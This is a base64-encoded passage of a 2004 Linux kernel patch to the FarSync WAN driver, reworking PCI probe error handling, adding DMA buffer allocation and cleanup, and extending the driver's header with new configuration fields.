KTsKKwkgICAgICAgIHJldHVybiBlcnI7CisJfQorCisJLyogR2V0IHZpcnR1YWwgYWRkcmVzc2Vz IG9mIG1lbW9yeSByZWdpb25zICovCisJY2FyZC0+cGNpX2NvbmYgPSBwY2lfcmVzb3VyY2Vfc3Rh cnQocGRldiwgMSk7CisJY2FyZC0+cGh5c19tZW0gPSBwY2lfcmVzb3VyY2Vfc3RhcnQocGRldiwg Mik7CisJY2FyZC0+cGh5c19jdGxtZW0gPSBwY2lfcmVzb3VyY2Vfc3RhcnQocGRldiwgMyk7CisJ aWYgKChjYXJkLT5tZW0gPSBpb3JlbWFwKGNhcmQtPnBoeXNfbWVtLCBGU1RfTUVNU0laRSkpID09 IE5VTEwpIHsKKwkJcHJpbnRrX2VycigiUGh5c2ljYWwgbWVtb3J5IHJlbWFwIGZhaWxlZFxuIik7 CisJCXBjaV9yZWxlYXNlX3JlZ2lvbnMocGRldik7CisJCXBjaV9kaXNhYmxlX2RldmljZShwZGV2 KTsKKwkJa2ZyZWUoY2FyZCk7CisJCXJldHVybiAtRU5PREVWOworCX0KKwlpZiAoKGNhcmQtPmN0 bG1lbSA9IGlvcmVtYXAoY2FyZC0+cGh5c19jdGxtZW0sIDB4MTApKSA9PSBOVUxMKSB7CisJCXBy aW50a19lcnIoIkNvbnRyb2wgbWVtb3J5IHJlbWFwIGZhaWxlZFxuIik7CisJCXBjaV9yZWxlYXNl X3JlZ2lvbnMocGRldik7CisJCXBjaV9kaXNhYmxlX2RldmljZShwZGV2KTsKKwkJa2ZyZWUoY2Fy ZCk7CisJCXJldHVybiAtRU5PREVWOworCX0KKwlkYmcoREJHX1BDSSwgImtlcm5lbCBtZW0gJXAs IGN0bG1lbSAlcFxuIiwgY2FyZC0+bWVtLCBjYXJkLT5jdGxtZW0pOwogCi0gICAgICAgIGNhcmQt PnR5cGUgICAgICAgID0gZW50LT5kcml2ZXJfZGF0YTsKLSAgICAgICAgY2FyZC0+bnBvcnRzICAg ICAgPSAoIGVudC0+ZHJpdmVyX2RhdGEgPT0gRlNUX1RZUEVfVDJQICkgPyAyIDogNDsKKwkvKiBS ZWdpc3RlciB0aGUgaW50ZXJydXB0IGhhbmRsZXIgKi8KKwlpZiAocmVxdWVzdF9pcnEocGRldi0+ aXJxLCBmc3RfaW50ciwgU0FfU0hJUlEsIEZTVF9ERVZfTkFNRSwgY2FyZCkpIHsKKwkJcHJpbnRr X2VycigiVW5hYmxlIHRvIHJlZ2lzdGVyIGludGVycnVwdCAlZFxuIiwgY2FyZC0+aXJxKTsKKwkJ cGNpX3JlbGVhc2VfcmVnaW9ucyhwZGV2KTsKKwkJcGNpX2Rpc2FibGVfZGV2aWNlKHBkZXYpOwor CQlpb3VubWFwKGNhcmQtPmN0bG1lbSk7CisJCWlvdW5tYXAoY2FyZC0+bWVtKTsKKwkJa2ZyZWUo Y2FyZCk7CisJCXJldHVybiAtRU5PREVWOworCX0KIAotICAgICAgICBjYXJkLT5zdGF0ZSAgICAg ICA9IEZTVF9VTklOSVQ7CisJLyogUmVjb3JkIGluZm8gd2UgbmVlZCAqLworCWNhcmQtPmlycSA9 IHBkZXYtPmlycTsKKwljYXJkLT50eXBlID0gZW50LT5kcml2ZXJfZGF0YTsKKwljYXJkLT5mYW1p bHkgPSAoKGVudC0+ZHJpdmVyX2RhdGEgPT0gRlNUX1RZUEVfVDJQKSB8fAorCQkJKGVudC0+ZHJp dmVyX2RhdGEgPT0gRlNUX1RZUEVfVDRQKSkKKwkgICAgPyBGU1RfRkFNSUxZX1RYUCA6IEZTVF9G QU1JTFlfVFhVOworCWlmICgoZW50LT5kcml2ZXJfZGF0YSA9PSBGU1RfVFlQRV9UMVUpIHx8CisJ ICAgIChlbnQtPmRyaXZlcl9kYXRhID09IEZTVF9UWVBFX1RFMSkpCisJCWNhcmQtPm5wb3J0cyA9 IDE7CisJZWxzZQorCQljYXJkLT5ucG9ydHMgPSAoKGVudC0+ZHJpdmVyX2RhdGEgPT0gRlNUX1RZ UEVfVDJQKSB8fAorCQkJCShlbnQtPmRyaXZlcl9kYXRhID09IEZTVF9UWVBFX1QyVSkpID8gMiA6 IDQ7CiAKKwljYXJkLT5zdGF0ZSA9IEZTVF9VTklOSVQ7CiAgICAgICAgIHNwaW5fbG9ja19pbml0 ICggJmNhcmQtPmNhcmRfbG9jayApOwogCiAgICAgICAgIGZvciAoIGkgPSAwIDsgaSA8IGNhcmQt Pm5wb3J0cyA7IGkrKyApIHsKQEAgLTE1MzMsNyArMjU1MywxMyBAQAogCQkJd2hpbGUgKGktLSkK IAkJCQlmcmVlX25ldGRldihjYXJkLT5wb3J0c1tpXS5kZXYpOwogCQkJcHJpbnRrX2VyciAoIkZh clN5bmM6IG91dCBvZiBtZW1vcnlcbiIpOwotCQkJZ290byBlcnJvcl9mcmVlX2NhcmQ7CisgICAg ICAgICAgICAgICAgICAgICAgICBmcmVlX2lycShjYXJkLT5pcnEsIGNhcmQpOworICAgICAgICAg ICAgICAgICAgICAgICAgcGNpX3JlbGVhc2VfcmVnaW9ucyhwZGV2KTsKKyAgICAgICAgICAgICAg ICAgICAgICAgIHBjaV9kaXNhYmxlX2RldmljZShwZGV2KTsKKyAgICAgICAgICAgICAgICAgICAg ICAgIGlvdW5tYXAoY2FyZC0+Y3RsbWVtKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIGlvdW5t YXAoY2FyZC0+bWVtKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIGtmcmVlKGNhcmQpOworICAg ICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC1FTk9ERVY7CiAJCX0KIAkJY2FyZC0+cG9ydHNb aV0uZGV2ICAgID0gZGV2OwogICAgICAgICAgICAgICAgIGNhcmQtPnBvcnRzW2ldLmNhcmQgICA9 IGNhcmQ7CkBAIC0xNTY0LDEyOCArMjU5MCw5NSBAQAogICAgICAgICAgICAgICAgIGhkbGMtPnht aXQgICA9IGZzdF9zdGFydF94bWl0OwogCX0KIAotICAgICAgICBkYmcgKCBEQkdfUENJLCJ0eXBl ICVkIG5wb3J0cyAlZCBpcnEgJWRcbiIsIGNhcmQtPnR5cGUsCi0gICAgICAgICAgICAgICAgICAg ICAgICBjYXJkLT5ucG9ydHMsIGNhcmQtPmlycSApOwotICAgICAgICBkYmcgKCBEQkdfUENJLCJj b25mICUwNHggbWVtICUwOHggY3RsbWVtICUwOHhcbiIsCi0gICAgICAgICAgICAgICAgICAgICAg ICBjYXJkLT5wY2lfY29uZiwgY2FyZC0+cGh5c19tZW0sIGNhcmQtPnBoeXNfY3RsbWVtICk7Ci0K LSAgICAgICAgLyogQ2hlY2sgd2UgY2FuIGdldCBhY2Nlc3MgdG8gdGhlIG1lbW9yeSBhbmQgSS9P IHJlZ2lvbnMgKi8KLSAgICAgICAgaWYgKCAhIHJlcXVlc3RfcmVnaW9uICggY2FyZC0+cGNpX2Nv bmYsIDB4ODAsIlBMWCBjb25maWcgcmVncyIpKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAg cHJpbnRrX2VyciAoIlVuYWJsZSB0byBnZXQgY29uZmlnIEkvTyBAIDB4JTA0WFxuIiwKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhcmQtPnBjaV9jb25m ICk7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVOT0RFVjsKLSAgICAgICAgICAgICAgICBnb3Rv IGVycm9yX2ZyZWVfcG9ydHM7Ci0gICAgICAgIH0KLSAgICAgICAgaWYgKCAhIHJlcXVlc3RfbWVt X3JlZ2lvbiAoIGNhcmQtPnBoeXNfbWVtLCBGU1RfTUVNU0laRSwiU2hhcmVkIFJBTSIpKQotICAg ICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIlVuYWJsZSB0byBnZXQgbWFpbiBt ZW1vcnkgQCAweCUwOFhcbiIsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBjYXJkLT5waHlzX21lbSApOwotICAgICAgICAgICAgICAgIGVyciA9IC1FTk9E RVY7Ci0gICAgICAgICAgICAgICAgZ290byBlcnJvcl9yZWxlYXNlX2lvOwotICAgICAgICB9Ci0g ICAgICAgIGlmICggISByZXF1ZXN0X21lbV9yZWdpb24gKCBjYXJkLT5waHlzX2N0bG1lbSwgMHgx MCwiQ29udHJvbCBtZW1vcnkiKSkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19l cnIgKCJVbmFibGUgdG8gZ2V0IGNvbnRyb2wgbWVtb3J5IEAgMHglMDhYXG4iLAotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FyZC0+cGh5c19jdGxtZW0g KTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwotICAgICAgICAgICAgICAgIGdvdG8g ZXJyb3JfcmVsZWFzZV9tZW07Ci0gICAgICAgIH0KLQotCi0gICAgICAgIC8qIEdldCB2aXJ0dWFs IGFkZHJlc3NlcyBvZiBtZW1vcnkgcmVnaW9ucyAqLwotICAgICAgICBpZiAoKCBjYXJkLT5tZW0g PSBpb3JlbWFwICggY2FyZC0+cGh5c19tZW0sIEZTVF9NRU1TSVpFICkpID09IE5VTEwgKQotICAg ICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIlBoeXNpY2FsIG1lbW9yeSByZW1h cCBmYWlsZWRcbiIpOwotICAgICAgICAgICAgICAgIGVyciA9IC1FTk9ERVY7Ci0gICAgICAgICAg ICAgICAgZ290byBlcnJvcl9yZWxlYXNlX2N0bG1lbTsKLSAgICAgICAgfQotICAgICAgICBpZiAo KCBjYXJkLT5jdGxtZW0gPSBpb3JlbWFwICggY2FyZC0+cGh5c19jdGxtZW0sIDB4MTAgKSkgPT0g TlVMTCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiQ29udHJvbCBt ZW1vcnkgcmVtYXAgZmFpbGVkXG4iKTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwot ICAgICAgICAgICAgICAgIGdvdG8gZXJyb3JfdW5tYXBfbWVtOwotICAgICAgICB9Ci0gICAgICAg IGRiZyAoIERCR19QQ0ksImtlcm5lbCBtZW0gJXAsIGN0bG1lbSAlcFxuIiwgY2FyZC0+bWVtLCBj YXJkLT5jdGxtZW0pOwotCi0gICAgICAgIC8qIFJlc2V0IHRoZSBjYXJkJ3MgcHJvY2Vzc29yICov Ci0gICAgICAgIGZzdF9jcHVyZXNldCAoIGNhcmQgKTsKLSAgICAgICAgY2FyZC0+c3RhdGUgPSBG U1RfUkVTRVQ7Ci0KLSAgICAgICAgLyogUmVnaXN0ZXIgdGhlIGludGVycnVwdCBoYW5kbGVyICov Ci0gICAgICAgIGlmICggcmVxdWVzdF9pcnEgKCBjYXJkLT5pcnEsIGZzdF9pbnRyLCBTQV9TSElS USwgRlNUX0RFVl9OQU1FLCBjYXJkICkpCi0gICAgICAgIHsKLQotICAgICAgICAgICAgICAgIHBy aW50a19lcnIgKCJVbmFibGUgdG8gcmVnaXN0ZXIgaW50ZXJydXB0ICVkXG4iLCBjYXJkLT5pcnEg KTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwotICAgICAgICAgICAgICAgIGdvdG8g ZXJyb3JfdW5tYXBfY3RsbWVtOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogUmVjb3JkIGRyaXZl ciBkYXRhIGZvciBsYXRlciB1c2UgKi8KLSAgICAgICAgcGNpX3NldF9kcnZkYXRhKHBkZXYsIGNh cmQpOwotCi0gICAgICAgIC8qIFJlbWFpbmRlciBvZiBjYXJkIHNldHVwICovCi0gICAgICAgIGZz dF9pbml0X2NhcmQgKCBjYXJkICk7Ci0KLSAgICAgICAgcmV0dXJuIDA7ICAgICAgICAgICAgICAg ICAgICAgICAvKiBTdWNjZXNzICovCi0KLQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIC8qIEZhaWx1cmUuIFJlbGVhc2UgcmVzb3VyY2VzICovCi1lcnJvcl91bm1hcF9j dGxtZW06Ci0gICAgICAgIGlvdW5tYXAgKCBjYXJkLT5jdGxtZW0gKTsKLQotZXJyb3JfdW5tYXBf bWVtOgotICAgICAgICBpb3VubWFwICggY2FyZC0+bWVtICk7Ci0KLWVycm9yX3JlbGVhc2VfY3Rs bWVtOgotICAgICAgICByZWxlYXNlX21lbV9yZWdpb24gKCBjYXJkLT5waHlzX2N0bG1lbSwgMHgx MCApOwotCi1lcnJvcl9yZWxlYXNlX21lbToKLSAgICAgICAgcmVsZWFzZV9tZW1fcmVnaW9uICgg Y2FyZC0+cGh5c19tZW0sIEZTVF9NRU1TSVpFICk7Ci0KLWVycm9yX3JlbGVhc2VfaW86Ci0gICAg ICAgIHJlbGVhc2VfcmVnaW9uICggY2FyZC0+cGNpX2NvbmYsIDB4ODAgKTsKLQotZXJyb3JfZnJl ZV9wb3J0czoKLQlmb3IgKGkgPSAwOyBpIDwgY2FyZC0+bnBvcnRzOyBpKyspCi0JCWZyZWVfbmV0 ZGV2KGNhcmQtPnBvcnRzW2ldLmRldik7Ci1lcnJvcl9mcmVlX2NhcmQ6Ci0gICAgICAgIGtmcmVl ICggY2FyZCApOwotICAgICAgICByZXR1cm4gZXJyOwotfQorCWNhcmQtPmRldmljZSA9IHBkZXY7 CiAKKwlkYmcoREJHX1BDSSwgInR5cGUgJWQgbnBvcnRzICVkIGlycSAlZFxuIiwgY2FyZC0+dHlw ZSwKKwkgICAgY2FyZC0+bnBvcnRzLCBjYXJkLT5pcnEpOworCWRiZyhEQkdfUENJLCAiY29uZiAl MDR4IG1lbSAlMDh4IGN0bG1lbSAlMDh4XG4iLAorCSAgICBjYXJkLT5wY2lfY29uZiwgY2FyZC0+ cGh5c19tZW0sIGNhcmQtPnBoeXNfY3RsbWVtKTsKKworCS8qIFJlc2V0IHRoZSBjYXJkJ3MgcHJv Y2Vzc29yICovCisJZnN0X2NwdXJlc2V0KGNhcmQpOworCWNhcmQtPnN0YXRlID0gRlNUX1JFU0VU OworCisJLyogSW5pdGlhbGlzZSBETUEgKGlmIHJlcXVpcmVkKSAqLworCWZzdF9pbml0X2RtYShj YXJkKTsKKworCS8qIFJlY29yZCBkcml2ZXIgZGF0YSBmb3IgbGF0ZXIgdXNlICovCisJcGNpX3Nl dF9kcnZkYXRhKHBkZXYsIGNhcmQpOworCisJLyogUmVtYWluZGVyIG9mIGNhcmQgc2V0dXAgKi8K Kwlmc3RfY2FyZF9hcnJheVtub19vZl9jYXJkc19hZGRlZF0gPSBjYXJkOworCWNhcmQtPmNhcmRf bm8gPSBub19vZl9jYXJkc19hZGRlZCsrOwkvKiBSZWNvcmQgaW5zdGFuY2UgYW5kIGJ1bXAgaXQg Ki8KKwlmc3RfaW5pdF9jYXJkKGNhcmQpOworCWlmIChjYXJkLT5mYW1pbHkgPT0gRlNUX0ZBTUlM WV9UWFUpIHsKKwkJLyoKKwkJICogQWxsb2NhdGUgYSBkbWEgYnVmZmVyIGZvciB0cmFuc21pdCBh bmQgcmVjZWl2ZXMKKwkJICovCisJCWNhcmQtPnJ4X2RtYV9oYW5kbGVfaG9zdCA9CisJCSAgICBw Y2lfYWxsb2NfY29uc2lzdGVudChjYXJkLT5kZXZpY2UsIEZTVF9NQVhfTVRVLAorCQkJCQkgJmNh cmQtPnJ4X2RtYV9oYW5kbGVfY2FyZCk7CisJCWlmIChjYXJkLT5yeF9kbWFfaGFuZGxlX2hvc3Qg PT0gTlVMTCkgeworCQkJcHJpbnRrX2VycigiQ291bGQgbm90IGFsbG9jYXRlIHJ4IGRtYSBidWZm ZXJcbiIpOworCQkJZnN0X2Rpc2FibGVfaW50cihjYXJkKTsKKwkJCXBjaV9yZWxlYXNlX3JlZ2lv bnMocGRldik7CisJCQlwY2lfZGlzYWJsZV9kZXZpY2UocGRldik7CisJCQlpb3VubWFwKGNhcmQt PmN0bG1lbSk7CisJCQlpb3VubWFwKGNhcmQtPm1lbSk7CisJCQlrZnJlZShjYXJkKTsKKwkJCXJl dHVybiAtRU5PTUVNOworCQl9CisJCWNhcmQtPnR4X2RtYV9oYW5kbGVfaG9zdCA9CisJCSAgICBw Y2lfYWxsb2NfY29uc2lzdGVudChjYXJkLT5kZXZpY2UsIEZTVF9NQVhfTVRVLAorCQkJCQkgJmNh cmQtPnR4X2RtYV9oYW5kbGVfY2FyZCk7CisJCWlmIChjYXJkLT50eF9kbWFfaGFuZGxlX2hvc3Qg PT0gTlVMTCkgeworCQkJcHJpbnRrX2VycigiQ291bGQgbm90IGFsbG9jYXRlIHR4IGRtYSBidWZm ZXJcbiIpOworCQkJZnN0X2Rpc2FibGVfaW50cihjYXJkKTsKKwkJCXBjaV9yZWxlYXNlX3JlZ2lv bnMocGRldik7CisJCQlwY2lfZGlzYWJsZV9kZXZpY2UocGRldik7CisJCQlpb3VubWFwKGNhcmQt PmN0bG1lbSk7CisJCQlpb3VubWFwKGNhcmQtPm1lbSk7CisJCQlrZnJlZShjYXJkKTsKKwkJCXJl dHVybiAtRU5PTUVNOworCQl9CisJfQorCXJldHVybiAwOwkJLyogU3VjY2VzcyAqLworfQogCiAv KgogICogICAgICBDbGVhbnVwIGFuZCBjbG9zZSBkb3duIGEgY2FyZAogICovCiBzdGF0aWMgdm9p ZCBfX2RldmV4aXQKLWZzdF9yZW1vdmVfb25lICggc3RydWN0IHBjaV9kZXYgKnBkZXYgKQorZnN0 X3JlbW92ZV9vbmUoc3RydWN0IHBjaV9kZXYgKnBkZXYpCiB7Ci0gICAgICAgIHN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkOwotICAgICAgICBpbnQgaTsKKwlzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAq Y2FyZDsKKwlpbnQgaTsKIAotICAgICAgICBjYXJkID0gcGNpX2dldF9kcnZkYXRhKHBkZXYpOwor CWNhcmQgPSBwY2lfZ2V0X2RydmRhdGEocGRldik7CiAKLSAgICAgICAgZm9yICggaSA9IDAgOyBp IDwgY2FyZC0+bnBvcnRzIDsgaSsrICkKLSAgICAgICAgeworCWZvciAoaSA9IDA7IGkgPCBjYXJk LT5ucG9ydHM7IGkrKykgewogCQlzdHJ1Y3QgbmV0X2RldmljZSAqZGV2ID0gcG9ydF90b19kZXYo JmNhcmQtPnBvcnRzW2ldKTsKLSAgICAgICAgICAgICAgICB1bnJlZ2lzdGVyX2hkbGNfZGV2aWNl KGRldik7Ci0gICAgICAgIH0KLQotICAgICAgICBmc3RfZGlzYWJsZV9pbnRyICggY2FyZCApOwot ICAgICAgICBmcmVlX2lycSAoIGNhcmQtPmlycSwgY2FyZCApOwotCi0gICAgICAgIGlvdW5tYXAg KCBjYXJkLT5jdGxtZW0gKTsKLSAgICAgICAgaW91bm1hcCAoIGNhcmQtPm1lbSApOwotCi0gICAg ICAgIHJlbGVhc2VfbWVtX3JlZ2lvbiAoIGNhcmQtPnBoeXNfY3RsbWVtLCAweDEwICk7Ci0gICAg ICAgIHJlbGVhc2VfbWVtX3JlZ2lvbiAoIGNhcmQtPnBoeXNfbWVtLCBGU1RfTUVNU0laRSApOwot ICAgICAgICByZWxlYXNlX3JlZ2lvbiAoIGNhcmQtPnBjaV9jb25mLCAweDgwICk7CisJCXVucmVn aXN0ZXJfaGRsY19kZXZpY2UoZGV2KTsKKwl9CiAKLQlmb3IgKGkgPSAwOyBpIDwgY2FyZC0+bnBv cnRzOyBpKyspCi0JCWZyZWVfbmV0ZGV2KGNhcmQtPnBvcnRzW2ldLmRldik7CisJZnN0X2Rpc2Fi bGVfaW50cihjYXJkKTsKKwlmcmVlX2lycShjYXJkLT5pcnEsIGNhcmQpOwogCi0gICAgICAgIGtm cmVlICggY2FyZCApOworCWlvdW5tYXAoY2FyZC0+Y3RsbWVtKTsKKwlpb3VubWFwKGNhcmQtPm1l bSk7CisJcGNpX3JlbGVhc2VfcmVnaW9ucyhwZGV2KTsKKwlpZiAoY2FyZC0+ZmFtaWx5ID09IEZT VF9GQU1JTFlfVFhVKSB7CisJCS8qCisJCSAqIEZyZWUgZG1hIGJ1ZmZlcnMKKwkJICovCisJCXBj aV9mcmVlX2NvbnNpc3RlbnQoY2FyZC0+ZGV2aWNlLCBGU1RfTUFYX01UVSwKKwkJCQkgICAgY2Fy ZC0+cnhfZG1hX2hhbmRsZV9ob3N0LAorCQkJCSAgICBjYXJkLT5yeF9kbWFfaGFuZGxlX2NhcmQp OworCQlwY2lfZnJlZV9jb25zaXN0ZW50KGNhcmQtPmRldmljZSwgRlNUX01BWF9NVFUsCisJCQkJ ICAgIGNhcmQtPnR4X2RtYV9oYW5kbGVfaG9zdCwKKwkJCQkgICAgY2FyZC0+dHhfZG1hX2hhbmRs ZV9jYXJkKTsKKwl9CisJZnN0X2NhcmRfYXJyYXlbY2FyZC0+Y2FyZF9ub10gPSBOVUxMOwogfQog CiBzdGF0aWMgc3RydWN0IHBjaV9kcml2ZXIgZnN0X2RyaXZlciA9IHsKQEAgLTE3MDAsMTUgKzI2 OTMsMjAgQEAKIHN0YXRpYyBpbnQgX19pbml0CiBmc3RfaW5pdCh2b2lkKQogewotICAgICAgICBy ZXR1cm4gcGNpX21vZHVsZV9pbml0ICggJmZzdF9kcml2ZXIgKTsKKwlpbnQgaTsKKworCWZvciAo aSA9IDA7IGkgPCBGU1RfTUFYX0NBUkRTOyBpKyspCisJCWZzdF9jYXJkX2FycmF5W2ldID0gTlVM TDsKKwlzcGluX2xvY2tfaW5pdCgmZnN0X3dvcmtfcV9sb2NrKTsKKwlyZXR1cm4gcGNpX21vZHVs ZV9pbml0KCZmc3RfZHJpdmVyKTsKIH0KIAogc3RhdGljIHZvaWQgX19leGl0CiBmc3RfY2xlYW51 cF9tb2R1bGUodm9pZCkKIHsKLSAgICAgICAgcGNpX3VucmVnaXN0ZXJfZHJpdmVyICggJmZzdF9k cml2ZXIgKTsKKwlwcmludGtfaW5mbygiRmFyU3luYyBXQU4gZHJpdmVyIHVubG9hZGluZ1xuIik7 CisJcGNpX3VucmVnaXN0ZXJfZHJpdmVyKCZmc3RfZHJpdmVyKTsKIH0KIAotbW9kdWxlX2luaXQg KCBmc3RfaW5pdCApOwotbW9kdWxlX2V4aXQgKCBmc3RfY2xlYW51cF9tb2R1bGUgKTsKLQorbW9k dWxlX2luaXQoZnN0X2luaXQpOworbW9kdWxlX2V4aXQoZnN0X2NsZWFudXBfbW9kdWxlKTsKZGlm ZiAtdXJOIGxpbnV4LTIuNi40LXByZTEtb3JpZy9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5oIGxp bnV4L2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmgKLS0tIGxpbnV4LTIuNi40LXByZTEtb3JpZy9k cml2ZXJzL25ldC93YW4vZmFyc3luYy5oCTIwMDQtMDMtMDEgMDk6MTc6MDguMDAwMDAwMDAwICsw MDAwCisrKyBsaW51eC9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5oCTIwMDQtMDMtMDEgMDk6MjU6 MjUuMDAwMDAwMDAwICswMDAwCkBAIC0zMiw4ICszMiwxMyBAQAogICogICAgICBBIHNob3J0IGNv bW1vbiBwcmVmaXggaXMgdXNlZnVsIGZvciByb3V0aW5lcyB3aXRoaW4gdGhlIGRyaXZlciB0byBh dm9pZAogICogICAgICBjb25mbGljdCB3aXRoIG90aGVyIHNpbWlsYXIgZHJpdmVycyBhbmQgSSBj aG9zZW4gdG8gdXNlICJmc3RfIiBmb3IgdGhpcwogICogICAgICBwdXJwb3NlIChGYXJTaXRlIFQt c2VyaWVzKS4KKyAqCisgKiAgICAgIEZpbmFsbHkgdGhlIGRldmljZSBkcml2ZXIgbmVlZHMgYSBz aG9ydCBuZXR3b3JrIGludGVyZmFjZSBuYW1lLiBTaW5jZQorICogICAgICAiaGRsYyIgaXMgYWxy ZWFkeSBpbiB1c2UgSSd2ZSBjaG9zZW4gdGhlIGV2ZW4gbGVzcyBpbmZvcm1hdGl2ZSAic3luYyIK KyAqICAgICAgZm9yIHRoZSBwcmVzZW50LgogICovCiAjZGVmaW5lIEZTVF9OQU1FICAgICAgICAg ICAgICAgICJmc3QiICAgICAgICAgICAvKiBJbiBkZWJ1Zy9pbmZvIGV0YyAqLworI2RlZmluZSBG U1RfTkRFVl9OQU1FICAgICAgICAgICAic3luYyIgICAgICAgICAgLyogRm9yIG5ldCBpbnRlcmZh Y2UgKi8KICNkZWZpbmUgRlNUX0RFVl9OQU1FICAgICAgICAgICAgImZhcnN5bmMiICAgICAgIC8q IEZvciBtaXNjIGludGVyZmFjZXMgKi8KIAogCkBAIC00NSw3ICs1MCw3IEBACiAgKiAgICAgIGhh dmUgaW5kaXZpZHVhbCB2ZXJzaW9ucyAob3IgSURzKSB0aGF0IG1vdmUgbXVjaCBmYXN0ZXIgdGhh biB0aGUKICAqICAgICAgdGhlIHJlbGVhc2UgdmVyc2lvbiBhcyBpbmRpdmlkdWFsIHVwZGF0ZXMg YXJlIHRyYWNrZWQuCiAgKi8KLSNkZWZpbmUgRlNUX1VTRVJfVkVSU0lPTiAgICAgICAgIjAuMDki CisjZGVmaW5lIEZTVF9VU0VSX1ZFUlNJT04gICAgICAgICIxLjA0IgogCiAKIC8qICAgICAgSW9j dGwgY2FsbCBjb21tYW5kIHZhbHVlcwpAQCAtMTAwLDYgKzEwNSw3IEBACiAgICAgICAgIHVuc2ln bmVkIGludCAgIHN0YXRlOyAgICAgICAgICAgLyogU3RhdGUgb2YgY2FyZCAqLwogICAgICAgICB1 bnNpZ25lZCBpbnQgICBpbmRleDsgICAgICAgICAgIC8qIEluZGV4IG9mIHBvcnQgaW9jdGwgd2Fz IGlzc3VlZCBvbiAqLwogICAgICAgICB1bnNpZ25lZCBpbnQgICBzbWNGaXJtd2FyZVZlcnNpb247 CisgICAgICAgIHVuc2lnbmVkIGxvbmcgIGtlcm5lbFZlcnNpb247ICAgLyogV2hhdCBLZXJuZWwg dmVyc2lvbiB3ZSBhcmUgd29ya2luZyB3aXRoICovCiAgICAgICAgIHVuc2lnbmVkIHNob3J0IGxp bmVJbnRlcmZhY2U7ICAgLyogUGh5c2ljYWwgaW50ZXJmYWNlIHR5cGUgKi8KICAgICAgICAgdW5z aWduZWQgY2hhciAgcHJvdG87ICAgICAgICAgICAvKiBMaW5lIHByb3RvY29sICovCiAgICAgICAg IHVuc2lnbmVkIGNoYXIgIGludGVybmFsQ2xvY2s7ICAgLyogMSA9PiBpbnRlcm5hbCBjbG9jaywg MCA9PiBleHRlcm5hbCAqLwpAQCAtMTEwLDYgKzExNiwzMSBAQAogICAgICAgICB1bnNpZ25lZCBz aG9ydCBjYWJsZVN0YXR1czsgICAgIC8qIGxzYjogMD0+IHByZXNlbnQsIDE9PiBhYnNlbnQgKi8K ICAgICAgICAgdW5zaWduZWQgc2hvcnQgY2FyZE1vZGU7ICAgICAgICAvKiBsc2I6IExFRCBpZCBt b2RlICovCiAgICAgICAgIHVuc2lnbmVkIHNob3J0IGRlYnVnOyAgICAgICAgICAgLyogRGVidWcg ZmxhZ3MgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgdHJhbnNwYXJlbnRNb2RlOyAvKiBOb3Qg dXNlZCBhbHdheXMgMCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBpbnZlcnRDbG9jazsgICAg IC8qIEludmVydCBjbG9jayBmZWF0dXJlIGZvciBzeW5jaW5nICovCisgICAgICAgIHVuc2lnbmVk IGNoYXIgIHN0YXJ0aW5nU2xvdDsgICAgLyogVGltZSBzbG90IHRvIHVzZSBmb3Igc3RhcnQgb2Yg dHggKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgY2xvY2tTb3VyY2U7ICAgICAvKiBFeHRlcm5h bCBvciBpbnRlcm5hbCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBmcmFtaW5nOyAgICAgICAg IC8qIEUxLCBUMSBvciBKMSAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBzdHJ1Y3R1cmU7ICAg ICAgIC8qIHVuZnJhbWVkLCBkb3VibGUsIGNyYzQsIGY0LCBmMTIsICovCisgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogZjI0IGY3MiAqLworICAgICAgICB1bnNpZ25l ZCBjaGFyICBpbnRlcmZhY2U7ICAgICAgIC8qIHJqNDhjIG9yIGJuYyAqLworICAgICAgICB1bnNp Z25lZCBjaGFyICBjb2Rpbmc7ICAgICAgICAgIC8qIGhkYjMgYjh6cyAqLworICAgICAgICB1bnNp Z25lZCBjaGFyICBsaW5lQnVpbGRPdXQ7ICAgIC8qIDAsIC03LjUsIC0xNSwgLTIyICovCisgICAg ICAgIHVuc2lnbmVkIGNoYXIgIGVxdWFsaXplcjsgICAgICAgLyogc2hvcnQgb3IgbG9uIGhhdWwg c2V0dGluZ3MgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgbG9vcE1vZGU7ICAgICAgICAvKiB2 YXJpb3VzIGxvb3BiYWNrcyAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICByYW5nZTsgICAgICAg ICAgIC8qIGNhYmxlIGxlbmd0aHMgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgdHhCdWZmZXJN b2RlOyAgICAvKiB0eCBlbGFzdGljIGJ1ZmZlciBkZXB0aCAqLworICAgICAgICB1bnNpZ25lZCBj aGFyICByeEJ1ZmZlck1vZGU7ICAgIC8qIHJ4IGVsYXN0aWMgYnVmZmVyIGRlcHRoICovCisgICAg 